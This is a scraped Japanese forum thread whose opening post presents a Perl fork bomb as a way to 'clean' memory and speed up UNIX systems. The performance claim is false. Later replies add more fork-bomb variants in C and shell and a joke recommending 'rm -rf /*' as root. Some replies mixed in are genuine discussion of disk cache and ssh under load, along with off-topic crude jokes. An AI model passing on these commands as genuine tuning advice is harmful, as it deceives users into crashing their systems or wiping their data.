UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数%レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
探検
簡単!メモリクリーニング
1名無しさん@お腹いっぱい。
NGNGNGNG
メモリは普通にlimitがかけられるじゃん。でもswapはだめげ?
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....
ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
そもそも仮想メモリシステムの上では、ユーザは自分が実メモリにのってるの
かswapにのってるのか意識できないからなぁ....
ディスクI/O とか swap ネット帯域とか cpu時間とか メモリ量とか 帯域とか
いろいろ重み付けで加算した「負荷」を定義して、「負荷」をlimitすればい
いのかな。わりと挙動が予測できなくてイヤっぽいんだけど。
273名無しさん@お腹いっぱい。
NGNG ┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
┏━━━━━━━━┓
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
┃○○○○○○○○┃
┃○●●●●●●○┃
┃○●○○○○●○┃
┃○●○●●○●○┃
┃○●○●●○●○┃
┃○●○○○○●○┃
┃○●●●●●●○┃
┃○○○○○○○○┃
┗━━━━━━━━┛
NGNG
minfree近所まで減ったらOSが勝手にやってくれるのに・・・
なんでいちいちンなこと実行するんですか?
なんでいちいちンなこと実行するんですか?
NGNG
ここに真面目なひとが....
NGNG
× 真面目な
○ 空気を読む神経回路が備わってない
○ 空気を読む神経回路が備わってない
279あぼーん
NGNGあぼーん
280名無しさん@お腹いっぱい。
NGNG 結局カーネルとかいじらないで簡単安全メモリクリーニングってできないの?
NGNG
メモリクリーニングするといいことあるの?
282名無しさん@お腹いっぱい。
NGNG 勝手にディスクキャッシュにメモリ使われるのうざいからどうにかしたいんだよね。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。
それが有効利用だってことは良くわかってる。でもやめさせたい。メモリを勝手に使うな。
283名無しさん@お腹いっぱい。
NGNG >>282
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。
FreeBSD 4.x, 5.xならsysctl debug.vfscache=0でもするんだな。
284あぼーん
NGNGあぼーん
285あぼーん
NGNGあぼーん
NGNG
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
それが有効利用だってことは良くわかってる
NGNG
メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
メモリを勝手に使うな。
NGNG
なんか妙なメモリ観が出たな。おもしろいから発展させてよ
NGNG
まさにドズという欠陥OSとそのアプリがもたらした電波だな。
犬板で割とよくある質問
----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS
freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。
そんなコマンドはないの?
くだらねえ質問はここに書きこめ! Part53 [Linux]
http://pc.2ch.net/test/read.cgi/linux/1058846630/177
----
From: [177] login:Penguin <>
Date: 03/07/23 20:21 ID:KoJVwpXS
freeで実メモリを確認すると、数時間後にはすぐfreeがゼロ近くになってしまう。
+/- buffers, cacheを見ればちゃんとfreeが豊富にあるからいいけど、
精神的にbuffersやcacheじゃなくて実メモリが回復して欲しい。
そんなコマンドはないの?
くだらねえ質問はここに書きこめ! Part53 [Linux]
http://pc.2ch.net/test/read.cgi/linux/1058846630/177
NGNG
>>289
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。
ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
あれにはVM無いからメインメモリーの残量が命だったもんねぇ。(遠い目)
Windows 9xシリーズにはVMはあったけれど似たような欠陥があったし。
ソフトを動かしていないときにはメモリー使用率が低いほうがいいと思うのはM$のせいだな。
NGNG
NGNG
294名無しさん@お腹いっぱい。
NGNG 俺もディスクキャッシュやめさせたい。ていうか減らしたい。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
実メモリの空きしか見てないどうしようもないソフトがあって。
ディスクキャッシュで埋め尽くされるとそこで止まっちゃうんだよな。
NGNG
NGNG
cmalloc
297名無しさん@お腹いっぱい。
NGNG cmallocってC言語・・・?
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね?
要するにメモリ確保するだけして開放するプログラムを自分で書けってことだよね?
298名無しさん@お腹いっぱい。
NGNG あはは
299あぼーん
NGNGあぼーん
300あぼーん
NGNGあぼーん
301名無しさん@お腹いっぱい。
NGNG 埋めるのなんざmemsetで一発だろ
302名無しさん@お腹いっぱい。
NGNG free(calloc(N,1));
303あぼーん
NGNGあぼーん
NGNG
>>297
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。
多分callocって言いたかったんじゃないの?
確保するだけでなく何らかのアクセスをしてpage faultを起こしてやらないとメモリーは解放されない。
callocってmallocしたあとに全領域をbzeroして書き換えてる(FreeBSD 4.8Rの実装)確保後のアクセスまでやってくれるってことだろうね。
NGNG
memsetとかallocとかいってるヤシ・・・
ネタだよね?
ネタだよね?
NGNG
309あぼーん
NGNGあぼーん
NGNG
311名無しさん@お腹いっぱい。
NGNG >>310
初心者にむなしいツッコミすんな
初心者にむなしいツッコミすんな
312あぼーん
NGNGあぼーん
NGNG
俺の頭にC言語の命令をとばすのはやめろおお
NGNG
win系はfork関数サポートしてないんじゃなかったっけ?
NGNG
fork関数
fork関数
fork関数
と。
fork関数
fork関数
と。
NGNG
NGNG
システムコール入り口への関数
と捉えると、fork関数でもよいではないかよいではないか
と捉えると、fork関数でもよいではないかよいではないか
318名無しさん@お腹いっぱい。
NGNG 最近の話題サパーリ意味わからん
NGNG
forkダンス
forkダンス
forkダンス
と。
forkダンス
forkダンス
と。
NGNG
>>1を走らせている状態(Load averageが1000を超えているような状態)でも
操作はできるけれど、ssh でログインできない。
sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの
優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、
openssh のソースを修正しなくちゃいけない?
操作はできるけれど、ssh でログインできない。
sshd の親プロセスを nice -n -15 にしておいても、forkされる子プロセスの
優先度が 0 になってしまう。子プロセスの優先度も -15 にするためには、
openssh のソースを修正しなくちゃいけない?
322あぼーん
NGNGあぼーん
NGNG
むしろコスモクリーニング
324名無しさん@お腹いっぱい。
NGNG 小宇宙クリーニング
NGNG
あるいはメモリリーキング
326名無しさん@お腹いっぱい。
NGNG リナックスは糞
これ常識
これ常識
327名無しさん@お腹いっぱい。
NGNG なんじゃこりやぁぁぁぁぁぁぁぁぁぁ
NGNG
329名無しさん@お腹いっぱい。
NGNG 放置プレイ
330名無しさん@お腹いっぱい。
NGNG Mac埼京
331名無しさん@お腹いっぱい。
NGNG $echo main(){ while(!fork()); return 0; } >init.c ; gcc -o init init.c; ./init
とかだとどうかな?
とかだとどうかな?
332名無しさん@お腹いっぱい。
NGNG 脂肪
333名無しさん@お腹いっぱい。
NGNG リナックス脂肪
334あぼーん
NGNGあぼーん
NGNG
強制シャットダウンでディスクを壊さん程度に。
NGNG
すげー、rm -rf /* やったら超速くなりました
337名無しさん@お腹いっぱい。
NGNG すげー、rm -rf >>336 やったら超速くなりました
338あぼーん
NGNGあぼーん
339名無しさん@お腹いっぱい。
NGNG レイチェルカーソンって沈黙の春とかいうの書いた人だっけか。
NGNG
>>336
rootになるのを忘れるな
rootになるのを忘れるな
341名無しさん@お腹いっぱい。
NGNG #!/bin/sh
. $0
. $0
342名無しさん@お腹いっぱい。
NGNGNGNG
344名無しさん@お腹いっぱい。
NGNG 簡単!ディスククリーニング
345名無しさん@お腹いっぱい。
NGNG #!/bin/sh
. $0 &
. $0 &
346名無しさん@お腹いっぱい。
NGNG fork
347名無しさん@お腹いっぱい。
NGNG Linuxが糞だという事実を確認するためのスレはここですか?
348名無しさん@お腹いっぱい。
NGNG リナッ糞
349名無しさん@お腹いっぱい。
NGNG やっぱWindows最強だな
NGNG
351名無しさん@お腹いっぱい。
NGNG ちんちん
352名無しさん@お腹いっぱい。
NGNG ddのがナウイ
353名無しさん@お腹いっぱい。
NGNG exit 0
354名無しさん@お腹いっぱい。
NGNG 洗剤つけてタワシでゴシゴシ洗え
355名無しさん@お腹いっぱい。
NGNG この程度でリナックスは氏ぬなんて糞OSですね。
NGNG
357名無しさん@お腹いっぱい。
NGNG358名無しさん@お腹いっぱい。
NGNG359名無しさん@お腹いっぱい。
NGNG >>358
そのシステムってなぁに???
そのシステムってなぁに???
NGNG
>>358
わからんの?
わからんの?
361名無しさん@お腹いっぱい。
NGNG なんでー?
362名無しさん@お腹いっぱい。
NGNG なんでー?
363名無しさん@お腹いっぱい。
NGNG なんでー?
364名無しさん@お腹いっぱい。
NGNG そして伝説へ
365名無しさん@お腹いっぱい。
NGNG 無限増殖とは宇宙の神秘
366名無しさん@お腹いっぱい。
NGNG 潮吹きとは女体の神秘
367名無しさん@お腹いっぱい。
NGNG リアルで潮吹きとやらを拝んでみたいものよのう。
NGNG
>>367
シーツが濡れて冷たくて寝る場所が無くなるとゆー罠
シーツが濡れて冷たくて寝る場所が無くなるとゆー罠
369名無しさん@お腹いっぱい。
NGNG どこのだれが「潮吹き」と名づけたのか気になる
370名無しさん@お腹いっぱい。
NGNG もちろん漁師。
371名無しさん@お腹いっぱい。
NGNG 女体の一本釣り
レスを投稿する
ニュース
- 【高市首相】「日本人が日本各地を旅行するのも大切」 中国からの渡航自粛巡り ★2 [ぐれ★]
- 統合中学の校名案「桜花」 特攻機名と重なり波紋 福岡・大牟田……「生徒が純真に考えた」と賛成意見も市民団体などが疑問の声 [少考さん★]
- 【東京・赤坂の“個室サウナ店夫婦死亡火災” 】妻を守るため…夫が妻に覆いかぶさって倒れる [ぐれ★]
- フィンランド首相、「つり目」投稿問題で日本向けに「心からお詫び」 ★4 [どどん★]
- 【国保逃れ】「国保から社保へ切り替え保険料を抑える手口を指南する団体」の理事に維新の会の議員 [雑用縞工作★]
- 【テレビ】Ado、『ちびまる子ちゃん』OP主題歌を新たに担当 「おどるポンポコリン」歌唱アーティスト変更は6年8ヶ月ぶり [湛然★]
- 【悲報】税金滞納で同姓同名、生年月日も同じ人の口座を差し止めるも別人だと判明。埼玉志木市 [737440712]
- 【速報】フィンランド人、日本人に続々と宣戦布告www [793117252]
- 発達障害(ADHD)の特徴一覧
- 女「『それでもボクはやってない』とかいうカス映画のせいで誤った風潮が広まった」
- 👁👁
- Z世代、生成AIを使って同級生のエロ画像を作りまくり社会問題に [668970678]
